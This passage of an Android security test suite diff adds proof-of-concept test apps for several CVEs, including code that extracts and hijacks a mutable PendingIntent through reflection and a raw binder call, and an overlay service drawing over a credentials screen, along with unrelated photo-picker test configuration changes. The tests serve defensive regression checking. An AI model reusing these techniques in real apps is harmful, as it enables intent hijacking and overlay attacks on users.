+                pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID);
+        if (remoteViews == null) {
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "remoteViews is null as callBinder() failed");
+            return;
+        }
+        try {
+            mClRemoteViews = Class.forName("android.widget.RemoteViews");
+        } catch (ClassNotFoundException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Class android.widget.RemoteViews not found");
+            return;
+        }
+        Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses();
+        Class clSetOnClickResponse = null;
+        Class clRemoteResponse = null;
+        for (Class c : rvSubClasses) {
+            if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) {
+                clSetOnClickResponse = c;
+            }
+            if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) {
+                clRemoteResponse = c;
+            }
+        }
+        try {
+            mActions = mClRemoteViews.getDeclaredField("mActions");
+        } catch (NoSuchFieldException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "mActions field not found");
+            return;
+        }
+        mActions.setAccessible(true);
+        try {
+            mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1);
+            mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class);
+            mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse");
+        } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "mResponse field not found");
+            return;
+        }
+        mResponse.setAccessible(true);
+        try {
+            mFldPendingIntent =
+                    (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent");
+        } catch (IllegalAccessException | InvocationTargetException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "mPendingIntent field not found");
+            return;
+        }
+        mFldPendingIntent.setAccessible(true);
+        try {
+            mPendingIntent = (PendingIntent) mFldPendingIntent
+                    .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse));
+        } catch (IllegalAccessException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Unable to get PendingIntent");
+            return;
+        }
+        Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class);
+        spuriousIntent.setPackage(getApplicationContext().getPackageName());
+        spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        try {
+            mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null);
+        } catch (PendingIntent.CanceledException e) {
+            // this is expected when vulnerability is not present and hence return
+            sendTestResult(getResources().getInteger(R.integer.pass), "Pass");
+            return;
+        }
+        sendTestResult(getResources().getInteger(R.integer.fail),
+                "Device is vulnerable to b/184046278!!"
+                        + " Mutable PendingIntent in QuickSearchBox widget");
+    }
+
+    private IBinder getService(String service) {
+        try {
+            Class clServiceManager = Class.forName("android.os.ServiceManager");
+            Method mtGetService = clServiceManager.getMethod("getService", String.class);
+            return (IBinder) mtGetService.invoke(null, service);
+        } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException
+                | InvocationTargetException e) {
+            e.printStackTrace();
+            sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                    "Failed to invoke android.os.ServiceManager service");
+            return null;
+        }
+    }
+
+    private RemoteViews callBinder(String callingPackage, int appWidgetId) {
+        String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService";
+        int GET_APP_WIDGET_VIEWS = 7;
+        Parcel data = Parcel.obtain();
+        Parcel reply = Parcel.obtain();
+        RemoteViews remoteViews = null;
+        IBinder service = getService("appwidget");
+        if (service != null) {
+            data.writeInterfaceToken(INTERFACE_DESCRIPTOR);
+            data.writeString(callingPackage);
+            data.writeInt(appWidgetId);
+            try {
+                service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0);
+            } catch (RemoteException e) {
+                e.printStackTrace();
+                sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+                        "service.transact() failed due to RemoteException");
+                return null;
+            }
+            reply.readException();
+            if (reply.readInt() != 0) {
+                remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply);
+            }
+        }
+        return remoteViews;
+    }
+
+    private void sendTestResult(int statusCode, String errorMessage) {
+        RemoteCallback cb =
+                (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key));
+        Bundle res = new Bundle();
+        res.putString(getString(R.string.message_key), errorMessage);
+        res.putInt(getString(R.string.status_key), statusCode);
+        finish();
+        cb.sendResult(res); // update callback in test
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
new file mode 100644
index 0000000..b99ba9d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocVulnerableActivity extends Activity {
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.vulnerable_activity_main);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
index ab1f627..6f672e0 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
@@ -33,5 +33,5 @@
         "androidx.test.rules",
         "androidx.test.uiautomator_uiautomator",
     ],
-    sdk_version: "current",
+    platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
index e709d0a..46f1613 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
@@ -18,9 +18,20 @@
 
 import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.UiAutomation;
 import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.UserHandle;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.uiautomator.UiDevice;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -34,23 +45,64 @@
         try {
             device.wakeUp();
         } catch (Exception e) {
+            e.printStackTrace();
+            assumeNoException(e);
         }
         device.pressHome();
     }
 
+    private String getSettingsPkgName() {
+        PackageManager mgr = getInstrumentation().getTargetContext().getPackageManager();
+        UiAutomation ui = getInstrumentation().getUiAutomation();
+        String name = "com.android.settings";
+        try {
+            ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS);
+            ResolveInfo info = mgr.resolveActivityAsUser(new Intent(Settings.ACTION_SETTINGS),
+                    PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM);
+            if (info != null && info.activityInfo != null) {
+                name = info.activityInfo.packageName;
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+            assumeNoException(e);
+        } finally {
+            ui.dropShellPermissionIdentity();
+        }
+        return name;
+    }
+
+    private boolean hasFeature(String feature) {
+        return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
+    }
+
+    private boolean isTV() {
+        return hasFeature(PackageManager.FEATURE_LEANBACK);
+    }
+
     @Test
     public void testPermission() {
+        String pkg = getSettingsPkgName();
+        String cls = "";
+        if (isTV()) {
+            cls = ".accessories.BluetoothPairingDialog";
+        } else {
+            cls = ".bluetooth.BluetoothPairingDialog";
+        }
+
         try {
             Intent intent = new Intent(Intent.ACTION_MAIN);
-            intent.setClassName("com.android.settings",
-                    "com.android.settings.bluetooth.BluetoothPairingDialog");
+            intent.setClassName(pkg, pkg + cls);
             intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             getApplicationContext().startActivity(intent);
-        } catch (SecurityException e) {
-            return;
+        } catch (Exception ex) {
+            ex.printStackTrace();
+            if (ex instanceof SecurityException) {
+                return;
+            }
+            assumeNoException(ex);
         }
 
         /* If SecurityException is not thrown, it indicates absence of fix */
-        throw new RuntimeException("Vulnerable to b/194300867 !!");
+        fail("Vulnerable to b/194300867 !!");
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
new file mode 100644
index 0000000..8c5b251
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+android_test_helper_app {
+    name: "CVE-2021-39702",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
new file mode 100644
index 0000000..60105d6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.CVE_2021_39702"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE_2021_39702"
+        android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
+        <service android:name=".PocService"
+            android:enabled="true"
+            android:exported="false" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39702" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
new file mode 100644
index 0000000..ede3c08
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="action">android.security.MANAGE_CREDENTIALS</string>
+    <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+    <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="dumpsysActivity">dumpsys activity</string>
+    <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command</string>
+    <string name="errorMessage">Device is vulnerable to b/205150380 hence any app with "SYSTEM_ALERT_WINDOW can overlay the RequestManageCredentials screen</string>
+    <string name="extraAuthenticationPolicy">android.security.extra.AUTHENTICATION_POLICY</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="overlayAttack">overlayattack</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="testPkg">android.security.cts.CVE_2021_39702</string>
+    <string name="vulActivityNotRunningError">The RequestManageCredentials is not currently running on the device</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
new file mode 100644
index 0000000..69e0f86
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.provider.Settings;
+import android.security.AppUriAuthenticationPolicy;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private static String VulnerableActivityName = "";
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        Intent intent = new Intent(context, PocService.class);
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(context));
+        try {
+            context.startService(intent);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e);
+        }
+    }
+
+    public void startVulnerableActivity() {
+        Context context = getApplicationContext();
+        Intent intent = new Intent(context.getString(R.string.action));
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        AppUriAuthenticationPolicy policy = new AppUriAuthenticationPolicy.Builder()
+                .addAppAndUriMapping(context.getString(R.string.testPkg), Uri.parse(""),
+                        context.getString(R.string.overlayAttack))
+                .build();
+        intent.putExtra(context.getString(R.string.extraAuthenticationPolicy), policy);
+        PackageManager pm = context.getPackageManager();
+        ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        VulnerableActivityName = ri.activityInfo.name;
+        assumeTrue(context.getString(R.string.activityNotFoundMsg) + intent, ri != null);
+        try {
+            context.startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e);
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        Context context = getApplicationContext();
+        UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+        /* Start the overlay service */
+        startOverlayService();
+
+        /* Wait for the overlay window */
+        Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+                Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.overlayUiScreenError),
+                mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+        /* Start the vulnerable activity */
+        startVulnerableActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        boolean overlayDisallowed = false;
+        if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+                LAUNCH_TIMEOUT_MS)) {
+            overlayDisallowed = true;
+        }
+
+        /* Check if the currently running activity is the vulnerable activity */
+        String activityDump = "";
+        try {
+            activityDump = mDevice.executeShellCommand(
+                    context.getString(R.string.dumpsysActivity) + " " + VulnerableActivityName);
+        } catch (IOException e) {
+            assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e);
+        }
+        Pattern activityPattern =
+                Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.vulActivityNotRunningError),
+                activityPattern.matcher(activityDump).find());
+
+        /* Failing the test as fix is not present */
+        assertTrue(context.getString(R.string.errorMessage), overlayDisallowed);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
new file mode 100644
index 0000000..e20029a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    public static Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        Context context = getApplicationContext();
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(context));
+        mButton = new Button(context);
+        mButton.setText(context.getString(R.string.overlayButtonText));
+        mWindowManager.addView(mButton, mLayoutParams);
+        mButton.setTag(mButton.getVisibility());
+    }
+}
diff --git a/tests/MediaProviderTranscode/Android.bp b/tests/MediaProviderTranscode/Android.bp
index 4ba3243..0a6dfd6 100644
--- a/tests/MediaProviderTranscode/Android.bp
+++ b/tests/MediaProviderTranscode/Android.bp
@@ -7,6 +7,7 @@
     test_suites: [
         "device-tests",
         "cts",
+        "mts-mediaprovider",
     ],
     compile_multilib: "both",
 
@@ -30,6 +31,7 @@
         "truth-prebuilt",
     ],
 
+    min_sdk_version: "30",
     certificate: "media",
     java_resources: [":CtsTranscodeTestAppSupportsHevc", ":CtsTranscodeTestAppSupportsSlowMotion"]
 }
@@ -45,6 +47,7 @@
     ],
     static_libs: ["androidx.legacy_legacy-support-v4"],
     target_sdk_version: "28",
+    min_sdk_version: "30",
 }
 
 android_test_helper_app {
@@ -58,4 +61,5 @@
     ],
     static_libs: ["androidx.legacy_legacy-support-v4"],
     target_sdk_version: "28",
+    min_sdk_version: "30",
 }
diff --git a/tests/MediaProviderTranscode/AndroidTest.xml b/tests/MediaProviderTranscode/AndroidTest.xml
index 8dba741..6b9c8e9 100644
--- a/tests/MediaProviderTranscode/AndroidTest.xml
+++ b/tests/MediaProviderTranscode/AndroidTest.xml
@@ -19,6 +19,11 @@
         <option name="install-arg" value="-g" />
     </target_preparer>
 
+    <option
+        name="config-descriptor:metadata"
+        key="mainline-param"
+        value="com.google.android.mediaprovider.apex" />
+
     <option name="test-suite-tag" value="apct" />
     <option name="test-suite-tag" value="cts" />
     <option name="test-tag" value="MediaProviderTranscodeTests" />
@@ -32,4 +37,8 @@
         <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="hidden-api-checks" value="false"/>
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+      <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+    </object>
 </configuration>
diff --git a/tests/PhotoPicker/Android.bp b/tests/PhotoPicker/Android.bp
index 37b049b..5a9fc33 100644
--- a/tests/PhotoPicker/Android.bp
+++ b/tests/PhotoPicker/Android.bp
@@ -22,7 +22,7 @@
     test_config: "AndroidTest.xml",
     srcs: ["src/**/*.java", "helper/**/*.java", ":CtsProviderTestUtils",],
     compile_multilib: "both",
-    test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
     sdk_version: "core_current",
     min_sdk_version: "30",
     libs: [
diff --git a/tests/PhotoPicker/AndroidTest.xml b/tests/PhotoPicker/AndroidTest.xml
index dbd1bc4..d0bf797 100644
--- a/tests/PhotoPicker/AndroidTest.xml
+++ b/tests/PhotoPicker/AndroidTest.xml
@@ -20,9 +20,14 @@
         <option name="test-file-name" value="CtsPhotoPickerTest.apk" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.RootTargetPreparer">
-        <option name="force-root" value="false" />
+        <option name="force-root" value="true" />
     </target_preparer>
 
+    <option
+        name="config-descriptor:metadata"
+        key="mainline-param"
+        value="com.google.android.mediaprovider.apex" />
+
     <option name="test-suite-tag" value="cts" />
     <option name="test-tag" value="PhotoPickerTests" />
     <!-- Instant apps cannot access external storage -->
diff --git a/tests/PhotoPicker/TEST_MAPPING b/tests/PhotoPicker/TEST_MAPPING
new file mode 100644
index 0000000..f48e90c
--- /dev/null
+++ b/tests/PhotoPicker/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsPhotoPickerTest"
+    }
+  ]
+}
diff --git a/tests/PhotoPicker/res/raw/test_video.mp4 b/tests/PhotoPicker/res/raw/test_video.mp4
new file mode 100644
index 0000000..ab95ac0
--- /dev/null
+++ b/tests/PhotoPicker/res/raw/test_video.mp4
Binary files differ
diff --git a/tests/PhotoPicker/res/raw/testvideo_meta.mp4 b/tests/PhotoPicker/res/raw/test_video_dng.mp4
similarity index 97%
rename from tests/PhotoPicker/res/raw/testvideo_meta.mp4
rename to tests/PhotoPicker/res/raw/test_video_dng.mp4
index e83c61d..9b38f0e 100644
--- a/tests/PhotoPicker/res/raw/testvideo_meta.mp4
+++ b/tests/PhotoPicker/res/raw/test_video_dng.mp4
Binary files differ
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
index 49a1acb..5873fee 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
@@ -25,6 +25,8 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.uiautomator.UiDevice;
 
+import com.android.modules.utils.build.SdkLevel;
+
 import org.junit.Before;
 
 /**
@@ -41,6 +43,7 @@
     @Before
     public void setUp() throws Exception {
         final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+        mDevice = UiDevice.getInstance(inst);
 
         enablePhotoPickerFlag(inst);
 
@@ -49,7 +52,6 @@
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
 
         // Wake up the device and dismiss the keyguard before the test starts
-        mDevice = UiDevice.getInstance(inst);
         mDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
         mDevice.executeShellCommand("wm dismiss-keyguard");
 
@@ -60,13 +62,17 @@
         mDevice.waitForIdle();
     }
 
-    private void enablePhotoPickerFlag(Instrumentation inst) {
-        inst.getUiAutomation().adoptShellPermissionIdentity(
-                Manifest.permission.WRITE_DEVICE_CONFIG);
-        DeviceConfig.setProperty(
-                DeviceConfig.NAMESPACE_STORAGE_NATIVE_BOOT,
-                "picker_intent_enabled" /* name */,
-                "true" /* value */,
-                false /* makeDefault */);
+    private void enablePhotoPickerFlag(Instrumentation inst) throws Exception {
+        if (SdkLevel.isAtLeastS()) {
+            inst.getUiAutomation().adoptShellPermissionIdentity(
+                    Manifest.permission.WRITE_DEVICE_CONFIG);
+            DeviceConfig.setProperty(
+                    DeviceConfig.NAMESPACE_STORAGE_NATIVE_BOOT,
+                    "picker_intent_enabled" /* name */,
+                    "true" /* value */,
+                    false /* makeDefault */);
+        } else {
+            mDevice.executeShellCommand("setprop persist.sys.storage_picker_enabled true");
+        }
     }
 }
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
index 1058778..c05d22e 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
@@ -31,7 +31,6 @@
 import android.net.Uri;
 import android.provider.MediaStore;
 
-import androidx.test.filters.SdkSuppress;
 import androidx.test.uiautomator.UiObject;
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
@@ -53,7 +52,6 @@
  * Photo Picker Device only tests for cross profile interaction flows.
  */
 @RunWith(BedsteadJUnit4.class)
-@SdkSuppress(minSdkVersion = 31, codeName = "S")
 public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest {
     @ClassRule @Rule
     public static final DeviceState sDeviceState = new DeviceState();
@@ -70,7 +68,6 @@
 
     @Test
     @RequireRunOnWorkProfile
-    @Ignore("Enable after b/201323670 is fixed")
     public void testWorkApp_canAccessPersonalProfileContents() throws Exception {
         final int imageCount = 2;
         createImages(imageCount, sDeviceState.primaryUser().id(), mUriList);
@@ -109,7 +106,7 @@
 
     @Test
     @EnsureHasWorkProfile
-    @Ignore("Enable after b/201323670 is fixed")
+    @Ignore("Enable after b/216475844 is fixed")
     public void testPersonalApp_canAccessWorkProfileContents() throws Exception {
         final int imageCount = 2;
         createImages(imageCount, sDeviceState.workProfile().id(), mUriList);
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
index 761511a..d02fa42 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
